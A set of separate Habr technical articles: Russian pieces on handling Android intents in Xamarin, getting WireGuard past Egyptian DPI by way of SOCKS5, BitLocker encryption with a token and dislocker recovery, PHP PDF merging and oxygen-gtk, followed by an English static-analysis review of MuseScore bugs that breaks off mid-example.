Есть еще класс `ActivityAttribute`, который создаст узел Activity в манифесте. Затем класс `IntentFilterAttribute` добавляет Intent-фильтр в этот узел Activity. Полную документацию по классу `IntentFilterAttribute` можно найти [здесь](https://aka.ms/habr_324796_3). Он определяет action, category и тип входящих данных. Action и category – это массивы, и они могут быть определены. В них могут быть еще параметры, помогающие фильтровать по совпадающим критериям. С помощью такого дополнения класса Android признает приложение как способное обрабатывать PDF-файлы.
Обработка входящего файла
-------------------------
Теперь, когда приложение опознано Android как подходящее, необходимо рассмотреть ситуацию, когда что-то попадает в него.
Когда приходит файл, вызывается функция `OnCreate` в `MainActivity`. Свойство Activity `Intent` содержит информацию, которая необходима для получения базового файла. Во время получения файла можно ожидать необходимую информацию в объекте `ClipData` свойства `Intent`.
Эта информация – `Android.Net.Uri`, которая используется с помощью `ContentResolver`, чтобы запустить поток данных. Затем можно сохранить этот поток данных в приложении как локальный файл.
В зависимости от приложения, отправляющего данные, также можно посмотреть URI отправляемого файла в Extras Intent’а – `Intent.ExtraStream`.
Вне зависимости от того, откуда получен `Uri`, необходимо удостовериться, что файл сохранен в приложении. В этом случае появится уверенность, что к файлу будет полный доступ.
Весь `OnCreate` показан ниже.
```
App _mainForms;
protected override void OnCreate(Bundle bundle)
{
TabLayoutResource = Resource.Layout.Tabbar;
ToolbarResource = Resource.Layout.Toolbar;
base.OnCreate(bundle);
global::Xamarin.Forms.Forms.Init(this, bundle);
var mainForms = new App();
LoadApplication(mainForms);
if (Intent.Action == Intent.ActionSend)
{
// Пример данных хранящийхся в Extras
var uriFromExtras = Intent.GetParcelableExtra(Intent.ExtraStream) as Android.Net.Uri;
var subject = Intent.GetStringExtra(Intent.ExtraSubject);
// Получаем данные из ClipData
var pdf = Intent.ClipData.GetItemAt(0);
// Открываем поток из URI
var pdfStream = ContentResolver.OpenInputStream(pdf.Uri);
// Сохраняем
var memOfPdf = new System.IO.MemoryStream();
pdfStream.CopyTo(memOfPdf);
var docsPath = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Personal);
var filePath = System.IO.Path.Combine(docsPath, "temp.pdf");
System.IO.File.WriteAllBytes(filePath, memOfPdf.ToArray());
mainForms.DisplayThePDF(filePath);
}
}
```
Это обычный Xamarin.Forms `OnCreate`. Значительное отличие состоит в том, что после вызова Xamarin.Forms `LoadApplication`, он проверяет, был ли загружен `Intent` информацией из другого приложения, вызывая неявный Intent.
Если он находит данные в свойстве `Intent`, которое получает действие `Intent.ActionSend` (то есть файл отсылается в приложение), то файл копируется в локальное хранилище приложения, затем вызывается функция `DisplayThePDF()`.
`DisplayThePDF()` отображает модальную страницу в web-обозревателе, и это web-обозреватель отображает загруженный файл PDF. Этот обозреватель работает через кастомный рендерер. Код для этого рендерера написан с помощью [документации Xamarin](https://aka.ms/habr_324796_4).
Когда все будет сделано приложение Android будет отображать PDF-файлы как на изображении справа.
Итог
----
В целом, поняв то, как Android обменивается данными между приложениями, что похоже на обмен данными между компонентами Activity в одном приложении, задача получения файлов в Android становится легко разрешимой. Необходимо объявить Intent-фильтр в классе `MainActivity` в Android-проекте в Xamarin.Forms, используя `IntentFilterAttribute`. После этого соответствующая разметка разместиться в файле AndroidManifest.xml, и теперь всё, что нужно сделать – обработать входящие данные с помощью функции `OnCreate()`, которая в идеале просто передаст работу функции, уже имеющейся в проекте Xamarin.Forms.
Благодарим за перевод
---------------------
**[Александр Алексеев](https://aka.ms/habr_324138_3)** — Xamarin-разработчик, фрилансер. Работает с .NET-платформой с 2012 года. Участвовал в разработке системы автоматизации закупок в компании Digamma. C 2015 года ушел во фриланс и перешел на мобильную разработку с использованием Xamarin. В текущее время работает в компании StecPoint над iOS приложением.
Ведет ресурс [XamDev.ru](https://aka.ms/habr_324796_6) и сообщества «Xamarin Developers» в социальных сетях: [VK](https://aka.ms/vk_xamarin_developers), [Facebook](https://aka.ms/fb_xamdev), [Telegram](https://aka.ms/telegram_xamarin_russia). | https://habr.com/ru/post/324796/ | null | ru | null |
# Обход блокировок WireGuard в Египте
В 2021 году VPN протокол WireGuard стал настолько популярен в Египте, что удостоился чести пополнить список заблокированных, несказанно “обрадовав” не только клиентов Cloudflare Warp+, Mullvad Wireguard и других коммерческих VPN-провайдеров, но и некоторых пользователей [корпоративных VPN](https://www.reddit.com/r/Egypt/comments/lsnyk7/is_wireguard_blocked/). Предварительные [исследования](https://twitter.com/6h4n3m/status/1459462360003919875) показали, что по всей видимости DPI нацелен на WireGuard Handshake Initiate пакеты, которые имеют фиксированный размер (148 байт) и узнаваемую структуру (первые четыре байта UDP пакета [0x01, 0x00, 0x00, 0x00]).
WireGuard Handshake InitiationЧтобы понять, как DPI может обнаружить и заблокировать WireGuard нужно привнести немного теории. Сам по себе WireGuard протокол предельно простой, трафик упаковывается в совершенно типовой UDP с добавлением небольшого заголовка. Для согласования WireGuard туннеля, как правило, достаточно двух (трех, если считать Keepalive) пакетов:
* Сторона желающая установить туннель (клиент) отправляет Hadshake Initiation другой стороне (сервер).
* Если сервер в данный момент готов к подключению, то он отвечает клиенту пакетом Handshake Response.
* Клиент получает Handshake Response и отвечает Keepalive пакетом, который представляет собой UDP пакет с WireGuard заголовком типа "данные" нулевого размера. В дальнейшем ключи обновляются повторяя описанную процедуру примерно каждые две минуты.
Таким образом, кажется, что для блокировки WireGuard DPI достаточно отслеживать UDP пакеты размером в 148 байт и проверять в них первые четыре байта на соответствие сигнатуре [0x01, 0x00, 0x00, 0x00]. Однако, стоит упомянуть, что корпоративные реализации WireGuard могут использовать зарезервированные три байта (поле Reserved) для собственных нужд (например, в Jamf Private Access они используются как идентификатор сессии). К тому же не исключено, что рано или поздно им найдется применение и в официальном клиенте. Так что для большей точности имеет смысл ограничиться только первым байтом UDP пакета. С другой стороны блокировка всех UDP пакетов размером в 148 байт с первым байтом 0x01 выглядит довольно рискованно. То же самое можно сказать и о Handshake Response пакете, который так же имеет фиксированный размер (92 байта) и схожую сигнатуру с тремя зарезервированными байтами [0x02, 0x00, 0x00, 0x00].
WireGuard Handshake ResponseКак же тогда может выглядеть возможный критерий блокировки WireGuard с минимизированной вероятностью ложных срабатываний? По всей видимости DPI стоит пропустить пакет "похожий" на Handshake Initiate, запомнить состояние сессии (IP адреса и порты) и поставить ее на блокировку только после ответного пакета "похожего" на Handshake Response. Нельзя утверждать наверняка, но по косвенным признакам весьма вероятно, что с чем-то подобным мы и имеем дело.
С чего же началась эта история? Скорее всего я не стал бы специально заниматься этой темой, если бы меня неожиданно не заинтересовал [пост](https://www.ntkernel.com/forums/topic/can-i-select-the-default-interface-when-using-wiresock-vpn-client-on-win10/) на форуме, в котором пользователь описывал любопытный метод обхода блокировки WireGuard с помощью другого VPN. Кому интересно, можете почитать нашу переписку, но если в двух словах, то он использовал Windscribe VPN для того, чтобы активировать WireGuard туннель, затем выключал Windscribe VPN и продолжал пользоваться WireGuard (официальный клиент с конфигурацией от Cloudflare Warp+) как ни в чем ни бывало.
В ходе нашего общения постепенно прояснились и прочие подробности, включая государство, которое таким оригинальным способом "подталкивает" население к более глубокому изучению сетевых технологий. Последний раз я был в Египте в 2010 и не могу сказать, что сильно по нему скучаю. Однако в настоящее время это одна из немногих легкодоступных стран, и я в последнее время всерьёз задумывался не слетать ли туда на дайвинг. Надо ли говорить, что невозможность доступа к домашним сетям оказалась бы крайне неприятным сюрпризом.
Далее предстояло решить, что использовать для маскировки Handshake Initiate и Handshake Response вместо Windscribe VPN. Можно конечно построить самописный сервис для инкапсуляции и форвардинга этих пакетов, тем более что нагрузка на него была бы минимальной (два пакета раз в две минуты на туннель). Однако уже довольно давно существует и более подходящий кандидат на эту роль и имя ему SOCKS5. Пятая версия этого популярного протокола поддерживает UDP, что нам собственно от неё и нужно.
Ранее я уже [писал](https://habr.com/ru/post/585962/) о своём пет-проекте VPN клиента на основе Cloudflare реализации протокола WireGuard. В него то я и решил добавить поддержку SOCKS5. В процессе тестирования промежуточных сборок выяснились кое-какие особенности реализации DPI. Например, если первый Handshake Initiate пролетел мимо SOCKS и попал в DPI, то неважно что потом вы отправляете в рамках данной UDP сессии, DPI будет ее настойчиво блокировать. Что любопытно, ничтожная часть пакетов каким-то образом все таки прорывается (возможно их маршрут проходит мимо DPI). Так же похоже, что верно и обратное, если UDP сессия не началась с Handshake Initiate - Handshake Response, то претензий к данной сессии у DPI не будет, даже если эти пакеты покажутся там в дальнейшем. Это могло бы объяснить почему у пользователя WireGuard туннель не ломался через две минуты при следующем Handshake Initiate. Однако это только лишь неподтвержденная гипотеза.
Для поддержки SOCKS5 в [Wiresock VPN Client](https://www.wiresock.net/wiresock-vpn-client/) были добавлены следующие дополнительные параметры:
* Socks5Proxy – указывает адрес и порт сервера SOCKS5, например `Socks5Proxy = socks5.sshvpn.me:1080` или `Socks5Proxy = 13.134.12.31:1080`
* Socks5ProxyUsername – имя пользователя SOCKS5 (опционально)
* Socks5ProxyPassword – пароль пользователя SOCKS5 (опционально)
Так же для тестирования нам понадобился SOCKS5 сервер с поддержкой UDP ASSOCIATE. Полагаю большинство читателей вполне способно сконфигурировать такой сервер самостоятельно, поэтому думаю не стоит раздувать размер статьи приводя здесь детальную инструкцию. Остальным же могу порекомендовать [памятку,](https://www.ntkernel.com/dante-in-oracle-cloud/) которую я составил для себя по установке [Dante](https://www.inet.no/dante/) от Inferno Nettverk A/S на Ubuntu 20.04 в Oracle Cloud.
Мы протестировали как вариант с применением SOCKS только к Handshake Initiate/Response пакетам, так и полностью ко всем пакетам WireGuard туннеля. Оба варианта прекрасно справились с блокировкой, поэтому остановились на первом, поскольку он более выигрышный с точки зрения производительности и ресурсов. Из неожиданных побочных эффектов, отправка Hanshake Initiate через SOCKS5 прокси "починила" возможность построения [вложенного WireGuard туннеля](https://www.ntkernel.com/forums/topic/wireguard-and-openvpn-nested-tunnel/) с использованием официального клиента [WireGuard for Windows](https://download.wireguard.com/windows-client/) (в качестве внешнего туннеля) и Wiresock VPN Client (в качестве внутреннего), которая "поломалась" где-то между релизами 0.5 и 0.5.3. Официальный клиент внезапно перестал пропускать Handshake Initiate в туннель (возможно это связано с работой по поддержке собственных вложенных туннелей), но после оборачивания в SOCKS он перестал его узнавать и все снова заработало.
Так же хотел отметить, что не представляет большой сложности сделать отдельное Windows приложение для официального клиента, которое будет перехватывать исходящие Handshake Initiate и отправлять их через SOCKS5. Если подобное будет востребовано, то я постараюсь найти время для реализации.
На этом все, надеюсь эта информация будет кому-то полезной! | https://habr.com/ru/post/649629/ | null | ru | null |
# Скрытые возможности Windows. Как BitLocker поможет защитить данные?
По мнению специалистов, именно кража ноутбука является одной из основных проблем в сфере информационной безопасности (ИБ).
В отличие от других угроз ИБ, природа проблем «украденный ноутбук» или «украденная флешка» довольно примитивна. И если стоимость исчезнувших устройств редко превышает отметку в несколько тысяч американских долларов, то ценность сохраненной на них информации зачастую измеряется в миллионах.
По данным Dell и Ponemon Institute, только в американских аэропортах ежегодно пропадает 637 тысяч ноутбуков. А представьте сколько пропадает флешек, ведь они намного меньше, и выронить флешку случайно проще простого.
Когда пропадает ноутбук, принадлежащий топ-менеджеру крупной компании, ущерб от одной такой кражи может составить десятки миллионов долларов.
Как защитить себя и свою компанию?
----------------------------------
Мы продолжаем цикл статей про безопасность Windows домена. В первой статье из цикла мы рассказали про настройку безопасного входа в домен, а во второй — про настройку безопасной передачи данных в почтовом клиенте:
1. [Как при помощи токена сделать Windows домен безопаснее? Часть 1](https://habrahabr.ru/company/aktiv-company/blog/327232/).
2. [Как при помощи токена сделать Windows домен безопаснее? Часть 2](https://habrahabr.ru/company/aktiv-company/blog/329904/).
В этой статье мы расскажем о настройке шифрования информации, хранящейся на жестком диске. Вы поймете, как сделать так, чтобы никто кроме вас не смог прочитать информацию, хранящуюся на вашем компьютере.
Мало кто знает, что в Windows есть встроенные инструменты, которые помогают безопасно хранить информацию. Рассмотрим один из них.
Наверняка, кто-то из вас слышал слово «BitLocker». Давайте разберемся, что же это такое.
Что такое BitLocker?
--------------------
BitLocker (точное название BitLocker Drive Encryption) — это технология шифрования содержимого дисков компьютера, разработанная компанией Microsoft. Она впервые появилась в Windows Vista.
С помощью BitLocker можно было шифровать тома жестких дисков, но позже, уже в Windows 7 появилась похожая технология BitLocker To Go, которая предназначена для шифрования съемных дисков и флешек.
BitLocker является стандартным компонентом Windows Professional и серверных версий Windows, а значит в большинстве случаев корпоративного использования он уже доступен. В противном случае вам понадобится обновить лицензию Windows до Professional.
Как работает BitLocker?
-----------------------
Эта технология основывается на полном шифровании тома, выполняемом с использованием алгоритма AES (Advanced Encryption Standard). Ключи шифрования должны храниться безопасно и для этого в BitLocker есть несколько механизмов.
Самый простой, но одновременно и самый небезопасный метод — это пароль. Ключ получается из пароля каждый раз одинаковым образом, и соответственно, если кто-то узнает ваш пароль, то и ключ шифрования станет известен.
Чтобы не хранить ключ в открытом виде, его можно шифровать либо в TPM (Trusted Platform Module), либо на криптографическом токене или смарт-карте, поддерживающей алгоритм RSA 2048.
TPM — микросхема, предназначенная для реализации основных функций, связанных с обеспечением безопасности, главным образом с использованием ключей шифрования.
Модуль TPM, как правило, установлен на материнской плате компьютера, однако, приобрести в России компьютер со встроенным модулем TPM весьма затруднительно, так как ввоз устройств без нотификации ФСБ в нашу страну запрещен.
Использование смарт-карты или токена для снятия блокировки диска является одним из самых безопасных способов, позволяющих контролировать, кто выполнил данный процесс и когда. Для снятия блокировки в таком случае требуется как сама смарт-карта, так и PIN-код к ней.
Схема работы BitLocker:
1. При активации BitLocker с помощью генератора псевдослучайных чисел создается главная битовая последовательность. Это ключ шифрования тома — FVEK (full volume encryption key). Им шифруется содержимое каждого сектора. Ключ FVEK хранится в строжайшей секретности.
2. FVEK шифруется при помощи ключа VMK (volume master key). Ключ FVEK (зашифрованный ключом VMK) хранится на диске среди метаданных тома. При этом он никогда не должен попадать на диск в расшифрованном виде.
3. Сам VMK тоже шифруется. Способ его шифрования выбирает пользователь.
4. Ключ VMK по умолчанию шифруется с помощью ключа SRK (storage root key), который хранится на криптографической смарт-карте или токене. Аналогичным образом это происходит и с TPM.
К слову, ключ шифрования системного диска в BitLocker нельзя защитить с помощью смарт-карты или токена. Это связано с тем, что для доступа к смарт-картам и токенам используются библиотеки от вендора, а до загрузки ОС, они, понятное дело, не доступны.
Если нет TPM, то BitLocker предлагает сохранить ключ системного раздела на USB-флешке, а это, конечно, не самая лучшая идея. Если в вашей системе нет TPM, то мы не рекомендуем шифровать системные диски.
И вообще шифрование системного диска является плохой идеей. При правильной настройке все важные данные хранятся отдельно от системных. Это как минимум удобнее с точки зрения их резервного копирования. Плюс шифрование системных файлов снижает производительность системы в целом, а работа незашифрованного системного диска с зашифрованными файлами происходит без потери скорости.
5. Ключи шифрования других несистемных и съемных дисков можно защитить с помощью смарт-карты или токена, а также TPM.
Если ни модуля TPM ни смарт-карты нет, то вместо SRK для шифрования ключа VMK используется ключ сгенерированный на основе введенного вами пароля.
При запуске с зашифрованного загрузочного диска система опрашивает все возможные хранилища ключей — проверяет наличие TPM, проверяет USB-порты или, если необходимо, запрашивает пользователя (что называется восстановлением). Обнаружение хранилища ключа позволяет Windows расшифровать ключ VMK, которым расшифровывается ключ FVEK, уже которым расшифровываются данные на диске.
Каждый сектор тома шифруется отдельно, при этом часть ключа шифрования определяется номером этого сектора. В результате два сектора, содержащие одинаковые незашифрованные данные, будут в зашифрованном виде выглядеть по-разному, что сильно затруднит процесс определения ключей шифрования путем записи и расшифровки заранее известных данных.
Помимо FVEK, VMK и SRK, в BitLocker используется еще один тип ключей, создаваемый «на всякий случай». Это ключи восстановления.
Для аварийных случаев (пользователь потерял токен, забыл его PIN-код и т.д.) BitLocker на последнем шаге предлагает создать ключ восстановления. Отказ от его создания в системе не предусмотрен.
Как включить шифрование данных на жестком диске?
------------------------------------------------
Прежде чем приступить к процессу шифрованию томов на жестком диске, важно учесть, что эта процедура займет какое-то время. Ее продолжительность будет зависеть от количества информации на жестком диске.
Если в процессе шифрования или расшифровки компьютер выключится или перейдет в режим гибернации, то эти процессы возобновятся с места остановки при следующем запуске Windows.
Даже в процессе шифрования системой Windows можно будет пользоваться, но, вряд ли она сможет порадовать вас своей производительностью. В итоге, после шифрования, производительность дисков снижается примерно на 10%.
Если BitLocker доступен в вашей системе, то при клике правой кнопкой на названии диска, который необходимо зашифровать, в открывшемся меню отобразится пункт **Turn on BitLocker**.
На серверных версиях Windows необходимо добавить роль **BitLocker Drive Encryption**.
Приступим к настройке шифрования несистемного тома и защитим ключ шифрования с помощью криптографического токена.
Мы будем использовать токен производства компании «Актив». В частности, токен [Рутокен ЭЦП PKI](https://www.rutoken.ru/products/all/rutoken-ecp-pki/).
**I. Подготовим Рутокен ЭЦП PKI к работе.**
В большинстве нормально настроенных системах Windows, после первого подключения Рутокен ЭЦП PKI автоматически загружается и устанавливается специальная библиотека для работы с токенами производства компании «Актив» — Aktiv Rutoken minidriver.
Процесс установки такой библиотеки выглядит следующим образом.
Наличие библиотеки Aktiv Rutoken minidriver можно проверить через **Диспетчер устройств**.
Если загрузки и установки библиотеки по каким-то причинам не произошло, то следует установить [комплект Драйверы Рутокен для Windows](https://www.rutoken.ru/support/download/drivers-for-windows/).
**II. Зашифруем данные на диске с помощью BitLocker.**
Щелкнем по названию диска и выберем пункт **Turn on BitLocker**.
Как мы говорили ранее, для защиты ключа шифрования диска будем использовать токен.
Важно понимать, что для использования токена или смарт-карты в BitLocker, на них должны находиться ключи RSA 2048 и сертификат.
Если вы пользуетесь службой Certificate Authority в домене Windows, то в шаблоне сертификата должна присутствовать область применения сертификата «Disk Encryption» (подробнее про настройку Certificate Authority в [первой части](https://habrahabr.ru/company/aktiv-company/blog/327232/) нашего цикла статей про безопасность Windows домена).
Если у вас нет домена или вы не можете изменить политику выдачи сертификатов, то можно воспользоваться запасным путем, с помощью самоподписанного сертификата, подробно про то как выписать самому себе самоподписанный сертификат описано [здесь](https://technet.microsoft.com/ru-ru/library/dd875530(v=ws.10).aspx).
Теперь установим соответствующий флажок.
На следующем шаге выберем способ сохранения ключа восстановления (рекомендуем выбрать **Print the recovery key**).
Бумажку с напечатанным ключом восстановления необходимо хранить в безопасном месте, лучше в сейфе.
Далее выберем, какой режим шифрования будет использоваться, для дисков, уже содержащих какие-то ценные данные (рекомендуется выбрать второй вариант).
На следующем этапе запустим процесс шифрования диска. После завершения этого процесса может потребоваться перезагрузить систему.
При включении шифрования иконка зашифрованного диска изменится.
И теперь, когда мы попытаемся открыть этот диск, система попросит вставить токен и ввести его PIN-код.
Развертывание и настройку BitLocker и доверенного платформенного модуля можно автоматизировать с помощью инструмента WMI или сценариев Windows PowerShell. Способ реализации сценариев будет зависеть от среды. Команды для BitLocker в Windows PowerShell описаны в [статье](https://technet.microsoft.com/library/jj649829(v=wps.620).aspx).
Как восстановить данные, зашифрованные BitLocker, если токен потеряли?
----------------------------------------------------------------------
**Если вы хотите открыть зашифрованные данные в Windows**
Для этого понадобится ключ восстановления, который мы распечатали ранее. Просто вводим его в соответствующее поле и зашифрованный раздел откроется.
**Если вы хотите открыть зашифрованные данные в системах GNU/Linux и Mac OS X**
Для этого необходима утилита DisLocker и ключ восстановления.
Утилита DisLocker работает в двух режимах:
* FILE — весь раздел, зашифрованный BitLocker, расшифровывается в файл.
* FUSE — расшифровывается только тот блок, к которому обращается система.
Для примера мы будем использовать операционную систему Linux и режим утилиты FUSE.
В последних версиях распространенных дистрибутивов Linux, пакет dislocker уже входит в состав дистрибутива, например, в Ubuntu, начиная с версии 16.10.
Если пакета dislocker по каким-то причинам не оказалось, тогда нужно скачать утилиту [DisLocker](http://www.hsc.fr/ressources/outils/dislocker/) и скомпилировать ее:
```
tar -xvjf dislocker.tar.gz
```
Откроем файл INSTALL.TXT и проверим, какие пакеты нам необходимо доустановить.
В нашем случае необходимо доустановим пакет libfuse-dev:
```
sudo apt-get install libfuse-dev
```
Приступим к сборке пакета. Перейдем в папку src и воспользуемся командами make и make install:
```
cd src/
make
make install
```
Когда все скомпилировалось (или вы установили пакет) приступим к настройке.
Перейдем в папку mnt и создадим в ней две папки:
* Encrypted-partition— для зашифрованного раздела;
* Decrypted-partition — для расшифрованного раздела.
```
cd /mnt
mkdir Encrypted-partition
mkdir Decrypted-partition
```
Найдем зашифрованный раздел. Расшифруем его с помощью утилиты и переместим его в папку Encrypted-partition:
```
dislocker -r -V /dev/sda5 -p recovery_key /mnt/Encrypted-partition(вместо recovery_key подставьте свой ключ восстановления)
```
Выведем на экран список файлов, находящихся в папке Encrypted-partition:
```
ls Encrypted-partition/
```
Введем команду для монтирования раздела:
```
mount -o loop Driveq/dislocker-file Decrypted-partition/
```
Для просмотра расшифрованного раздела перейдем в папку Encrypted-partition.
Резюмируем
----------
Включить шифрование тома при помощи BitLocker очень просто. Все это делается без особых усилий и бесплатно (при условии наличия профессиональной или серверной версии Windows, конечно).
Для защиты ключа шифрования, которым шифруется диск, можно использовать криптографический токен или смарт-карту, что существенно повышает уровень безопасности. | https://habr.com/ru/post/335532/ | null | ru | null |
# Склеивание PDF-документов средствами PHP
Заказчиком была поставлена задача — вконец PDF-документа, который создается с помощью класса [TCPDF](http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=tcpdf), нужно присоединить сканы тоже в PDF-формате.
Поиск решения постоянно приводил к необходимости использования какой-нибудь утилитки (например [Pdftk](http://www.accesspdf.com/pdftk/)), которую нужно было устанавливать со всеми вытекающими. А т.к. хостинг был обычный, то установка дополнительного софта довольно проблематична. В общем, было необходимо решение, которое в идеале просто расширяет функционал TCPDF (FPDF), ну или, в любом случае, полностью реализовано на PHP.
В конце концов решение нашлось — [FPDI](http://www.setasign.de/products/pdf-php-solutions/fpdi/). Это расширение старого доброго [FPDF](http://www.fpdf.org/), но поддерживается и TCPDF, чему я был особенно рад.
Для удобства использования в [CakePHP](http://www.cakephp.org/), я создал компонент, наследующий FPDI.
`php</font
define('FPDF\_FONTPATH', ROOT.'/vendors/fpdf/font/');
App::import('Vendor', 'fpdf'.DS.'fpdf');
App::import('Vendor', 'fpdi'.DS.'fpdi');
class FpdiComponent extends FPDI {
public function addFile($file) {
$pages = $this->setSourceFile($file);
for ($i = 1; $i <= $pages; $i++) {
$this->AddPage('P', 'A4');
$tpl\_id = $this->importPage($i);
$this->useTemplate($tpl\_id, 0, 0, 210, 297);
}
}
}`
Правда склеивать PDF-ки все равно пришлось в связке с FPDF, т.к. с TCPDF при импорте почему-то добавлялись пустые страницы. | https://habr.com/ru/post/52652/ | null | ru | null |
# Oxygen-gtk. Единый вид приложений GTK и Qt
#### 0. Intro.
В рамках проекта KDE начал развиваться проект [oxygen-gtk](https://projects.kde.org/projects/playground/artwork/oxygen-gtk), главная задача которого — это создание единства внешнего вида GTK приложений, запущенных под KDE и нативных KDE приложений. В отличии от других движков с аналочными целями, этот не зависит от Qt.
[](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg697.imageshack.us%2Fimg697%2F3994%2Fsnapshot57e.png%22)
#### 1. Установка.
Исходники можно взять здесь: <https://projects.kde.org/projects/playground/artwork/oxygen-gtk>.
`git clone git://git.kde.org/oxygen-gtk
cd oxygen-gtk
mkdir build
cd build
cmake ../
(для 64х битных машин нужно: cmake -DLIB_SUFFIX=64 ../ )
make -j2
sudo make install`
#### 2. Outro.
Проект пока имеет некоторые недостатки. Например, не совсем гармонирует градиент окна с заголовком и не все контролы пока еще отображаются как в Qt. Но это дело времени.
Больше деталей можно найти в блоге [KDE Hugo](http://hugo-kde.blogspot.com/2010/11/oxygen-gtk.html).
Удачных экспериментов!
**UPD: Репозиторий теперь здесь:**
`git clone git://anongit.kde.org/oxygen-gtk` | https://habr.com/ru/post/109930/ | null | ru | null |
# Short-lived Music or MuseScore Code Analysis
Having only programming background, it is impossible to develop software in some areas. Take the difficulties of medical software development as an example. The same is with music software, which will be discussed in this article. Here you need an advice of subject matter experts. However, it's more expensive for software development. That is why developers sometimes save on code quality. The example of the MuseScore project check, described in the article, will show the importance of code quality expertise. Hopefully, programming and musical humor will brighten up the technical text.
### Introduction
[MuseScore](https://musescore.com/) is a computer program, a scorewriter for Windows, Mac OS X, and Linux operating systems. MuseScore allows you to quickly enter notes both with the computer keyboard and with an external MIDI keyboard. The scorewriter can import and export MIDI, MusicXML, LilyPond formats. It can also import MusE, Capella, and Band-in-a-Box. In addition, the program can export the scores to PDF, SVG, and PNG files, and to LilyPond for further fine-tuning.
Previously, we [checked](https://www.viva64.com/en/b/0530/) the MuseScore code in 2017. It inspired us to write a series of 5 articles. There we reviewed the code of different programs for writing music.
MuseScore is a really cool music platform. Fans of just finding popular melody notes will highly praise the program. Besides the desktop application, you can use the website or the mobile app. The download of ready-made notes has now become paid by subscription. However, it is usual for successful service development. Let's hope, that the developers will allocate some of the earned money to improve code quality. Read on to find out why it's time to pay attention to this.
### Copy-paste code
[V501](https://www.viva64.com/en/w/v501/) There are identical sub-expressions to the left and to the right of the '==' operator: desiredLen == desiredLen importmidi\_simplify.cpp 44
```
bool areDurationsEqual(
const QList >& durations,
const ReducedFraction& desiredLen)
{
ReducedFraction sum(0, 1);
for (const auto& d: durations) {
sum += ReducedFraction(d.second.fraction()) / d.first;
}
return desiredLen == desiredLen;
}
```
The comparison function for durations of notes (or some such) returns an incorrect result. All because of the copied *desiredLen* variable at the very end of the function. The correct code is most likely to look like this:
```
return desiredLen == sum;
```
[V501](https://www.viva64.com/en/w/v501/) There are identical sub-expressions to the left and to the right of the '-' operator: i - i textbase.cpp 1986
```
void TextBase::layout1()
{
....
for (int i = 0; i < rows(); ++i) {
TextBlock* t = &_layout[i];
t->layout(this);
const QRectF* r = &t->boundingRect();
if (r->height() == 0) {
r = &_layout[i - i].boundingRect(); // <=
}
y += t->lineSpacing();
t->setY(y);
bb |= r->translated(0.0, y);
}
....
}
```
The null element is always taken from the *layout* array because an error has slipped into the expression that calculates the index.
[V523](https://www.viva64.com/en/w/v523/) The 'then' statement is equivalent to the 'else' statement. bsp.cpp 194
```
QString BspTree::debug(int index) const
{
....
if (node->type == Node::Type::HORIZONTAL) {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
} else {
tmp += debug(firstChildIndex(index));
tmp += debug(firstChildIndex(index) + 1);
}
....
}
```
Code debugging is already a consequence of an earlier error in the code. Only errors in the debugging code can make the situation worse. Here the code of the two branches of the conditional operator is absolutely identical. No prizes for guessing that the code was copied to speed up the development. However, someone forgot to make changes to the second copy of the code.
[V524](https://www.viva64.com/en/w/v524/) It is odd that the body of 'downLine' function is fully equivalent to the body of 'upLine' function. rest.cpp 718
```
int Rest::upLine() const
{
qreal _spatium = spatium();
return lrint((pos().y() + bbox().top() + _spatium) * 2 / _spatium);
}
int Rest::downLine() const
{
qreal _spatium = spatium();
return lrint((pos().y() + bbox().top() + _spatium) * 2 / _spatium);
}
```
The functions' names *upLine* and *downLine* reflect the opposite meaning. Though, this is not supported by the implementation of these functions. Most likely, there is another error caused by copying the code.
[V778](https://www.viva64.com/en/w/v778/) Two similar code fragments were found. Perhaps, this is a typo and 'description' variable should be used instead of 'name'. instrumentsreader.cpp 407
```
void InstrumentsReader::fillByDeffault(Instrument& instrument) const
{
....
if (instrument.name.isEmpty() && !instrument.longNames.isEmpty()) {
instrument.name = instrument.longNames[0].name();
}
if (instrument.description.isEmpty() && !instrument.longNames.isEmpty()) {
instrument.description = instrument.longNames[0].name();
}
....
}
```
Fields *instrument.name* and\* instrument.description\* are initialized with the same values. This makes the code suspicious. The names "name" and "description" are entities with quite different meanings. The index used to access the *longNames* array is most likely to differ here.
### The new diagnostics' debut
Since the last review of this project, we have made some new diagnostics. They've helped us to find even more interesting errors.
[V1063](https://www.viva64.com/en/w/v1063/) The modulo by 1 operation is meaningless. The result will always be zero. lyrics.h 85
```
class Lyrics final : public TextBase
{
....
bool isEven() const { return _no % 1; }
....
}
```
One of the new diagnostics found a very amusing error. The *isEven* function must return *true* if the number is even, otherwise, it must return *false* (odd). In fact, due to taking the remainder of 1, not 2, the function always returns the \*false \*value. That is, all numbers are considered odd.
[V1065](https://www.viva64.com/en/w/v1065/) Expression can be simplified, check '1' and similar operands. scorediff.cpp 444
```
QString MscxModeDiff::getOuterLines(const QString& str, int lines, bool start)
{
lines = qAbs(lines);
const int secIdxStart = start ? 0 : (-1 - (lines - 1));
....
}
```
Perhaps, this is not an error. However, we can greatly simplify the code. So, here's what it looks like:
```
const int secIdxStart = start ? 0 : -lines ;
```
On the other hand, the negative value as a position looks strange.
### Pointers in C++: a timeless classic
[V522](https://www.viva64.com/en/w/v522/) Dereferencing of the null pointer 'family' might take place. instrtemplate.cpp 356
```
void InstrumentTemplate::write(XmlWriter& xml) const
{
....
if (!family) {
xml.tag("family", family->id);
}
xml.etag();
}
```
Inasmuch as the extra negation was written in the conditional expression, the added "family" tag can spell disaster.
[V522](https://www.viva64.com/en/w/v522/) Dereferencing of the null pointer 'destinationMeasure' might take place. score.cpp 4279
```
ChordRest* Score::cmdNextPrevSystem(ChordRest* cr, bool next)
{
....
auto destinationMeasure = currentSystem->firstMeasure();
....
if (!(destinationMeasure = destinationMeasure->prevMeasure())) {
if (!(destinationMeasure = destinationMeasure->prevMeasureMM())) {
return cr;
}
}
....
}
```
This is a similar but less obvious situation. Here access to the *destinationMeasure* pointer in a nested conditional expression takes place. It's dereferencing the null pointer.
[V595](https://www.viva64.com/en/w/v595/) The 'fd' pointer was utilized before it was verified against nullptr. Check lines: 5365, 5366. edit.cpp 5365
```
void Score::undoAddElement(Element* element)
{
....
FretDiagram* fd = toFretDiagram(ne);
Harmony* fdHarmony = fd->harmony();
if (fd) {
fdHarmony->setScore(score);
fdHarmony->setSelected(false);
fdHarmony->setTrack(staffIdx * VOICES + element->voice());
}
....
}
```
